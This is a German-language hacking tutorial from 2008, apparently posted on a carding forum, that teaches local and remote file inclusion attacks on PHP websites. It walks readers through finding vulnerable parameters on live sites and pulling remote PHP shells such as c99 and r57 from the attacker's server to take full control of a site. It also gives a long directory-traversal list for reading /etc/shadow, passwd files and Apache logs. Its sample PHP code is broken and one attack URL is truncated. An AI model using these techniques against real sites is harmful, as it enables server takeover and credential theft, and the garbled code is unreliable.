[TUT] LFI & RFI Tutorial

LFI & RFI Tutorial
Category: Local File Inclusion,Remote File Inclusion
Remote/Local File Inclusion

1.] Was sind Remote/Local File Inclusions?
2.] Wie funktioniert es?
2.] Ein Verwundbarer Code
3.] Beispiele
4.] LFI: Tipps
5.] RFI: Tipps
6.] Wie finde ich LFI / RFI Lücken?

In Diesem Tutorial werden euch grundsätzlich die Basics, zu Remote & Local File Inclusion erlaütert.
Um näher an die Materie zu kommen, müsst ihr euch mit diesem Tutorial auseinandersetzen und Probieren.
Spielen, Learning by doing.
Was sind Remote File Inclusions?

Ausführungen von unkontrolliertem Schadcode in (meist) PHP Software.
Angriffe geschehen meistens über unvalidierte Parameter in $_GET* Form (get-Parameter).

*Ein in der Sprache PHP genannter GET Parameter ist folgendes, wie ihr es aus vielen Seiten kennt:

Bsp.: http://vuln.com/phpscript/index.php?site=

Als Schadcode wäre z.B eine PHP Shell (c99,r57) zu bezeichnen.

Wie Funktioniert es?

Funktionieren tut eine Remote File Inclusion überall dort, wo auch ein unvalidierter und damit verwundbarer Parameter vorhanden ist.

Was sind Local File Inclusions?

Local File Inclusions funktionieren ähnlich wie RFI’s durch verwundbare Parameter, jedoch können nur Lokale Dateien eingebunden und aufgerufen werden. Dies macht es für einen Angreifer natürlich z.B bei Unix Servern interessant, da dort eine password Datei im Verzeichnis /etc/shadow vorhanden ist.
Bei noch zuvorkommender Fehlkonfiguration sind die root Daten schnell für den Angreifer auslesbar. Natürlich lassen sich auch andere Dateien damit auslesen. Wie z.B. bei Apache Servern die Error Logs. (mehr dazu unter TIPPS).

Ein Verwundbarer Code

Für jeden PHP Programmierer ist das Sicherheitsdenken am Wichtigsten.

Ein verwundbarer Programm Code in PHP, mit dem eine File Inclusion möglich wäre würde so aussehen:

<?php
$datei = (empty($_GET[’site‘]) == false) ? $_GET[’site‘] : ’0′;
$datei = ‘.php’;
include($datei);
?>

In unserem Webbrowser würde dies so aussehen:

http://site.com/phpscript/site.php?site=

Der Angreifer, würde die ungeschütze URL so ausnutzen:

http://site.com/phpscript/site.php?s…com/shell.txt?

Die Shell muss in TXT form auf eurem Server liegen, da sie sonst eventuell nicht richtig vom andern server ausgeführt (interpretiert) wird.

Beispiele

Parameter:

Eventuelle Fehler Meldung bei Unvalidierung:

Feritige Inclusion einer PHP/TXT File..
LFI: Tipps

Bei LFI lassen sich z.B. root Verzeichnisse überspringen, indem man ein ../ setzt. Diese Punkte bedeuten, dass dort das jeweilige Verzeichnis übersprungen wird. Dadurch können wir meist, bei vollen rechten, jeden entsprechenden Server Pfad aufrufen und uns so zu vielen dateien Einblick verschaffen.
Die password Datei eines Linux server’s befindet sich meistens im Pfad etc/pwd oder etc/passwd. Dies ist jedoch von Server zu Server unterschiedlich, manchmal ist es auch ../etc/pwd oder auch ../../etc/pwd oder auch manchmal var/etc/pwd. Da gilt es nur herumzuprobieren.
Bei neueren Servern befinden sich in der pwd Datei allerdings nur die User, um an die Passwörter heranzukommen müssen wir an die Shadow-Datei herankommen.
Dazu nehmen wir die Datei etc/shadow, die alle Passwörter enthält. Der Pfad kann wie oben leicht variieren.
RFI: Tipps

Wenn man eine RFI Lücke gefunden hat, kann man diese am besten mit einer Shell ausnutzen. Im Internet findet man genug Shells wie c99, r57. Diese sind PHP Skripte und werden auf einen Webspace heraufgeladen. Mit der RFI Lücke inkludieren wir dann die Shell in die Originalseite, wie man es mit dem PHP Befehl include() tun würde. So hat man die komplette Kontrolle über die Internet-Seite. Man kann mit einer Shell Dateien löschen, Datenbanken auslesen etc.
Relevante Pfade, die für eine Local/Remote Inclusion relevant sein koennen:

(Unix benutzer und Passwort Files.)

/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

(Apache Error Log Pfade

../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

Wie finde ich LFI / RFI Lücken?

LFI:
Hierzu sucht man nach dem gewöhnlichen Muster, wie z.B. bei einer SQL Injection.
z.B. index.php?site=
Wir können es also Versuchen und fügen dann ../ hinzu.
z.B. index.php?site=../
Bekommen wir dadurch einen Fehler, oder springen auf eine andere Seite, wie wir vorher waren. Ist die Chance recht gross, dass man eine LFI Lücke gefunden hat.

RFI:
Hierzu sucht man nach dem gewöhnlichen Muster, wie z.B. bei einer SQL Injection und oder LFI.
z.B. index.php?site=
Um zu sehen ob fremde Seiten inkludiert werden können, benutzen wir ganz einfach Google. Wir hängen also http://www.google.de an.
z.B. index.php?site=http://www.google.de
Es klingt zwar verrückt, aber wenn wir jetzt Google sehen, haben wir eine RFI Lücke gefunden, das können wir dann mit einer Shell ausbauen. Das funktioniert übrigens auch mit jeder anderen Internetseite!

Written 2008 by Blizzard & BlackHat

Fragen zum Thema hier im Thread..

swissfaking.cardables.com

Made in Swiss.

Kopieren erlaubt, verändern verboten!.

Autor: Blizzard u. Blackhat

Quelle: swissfaking.ws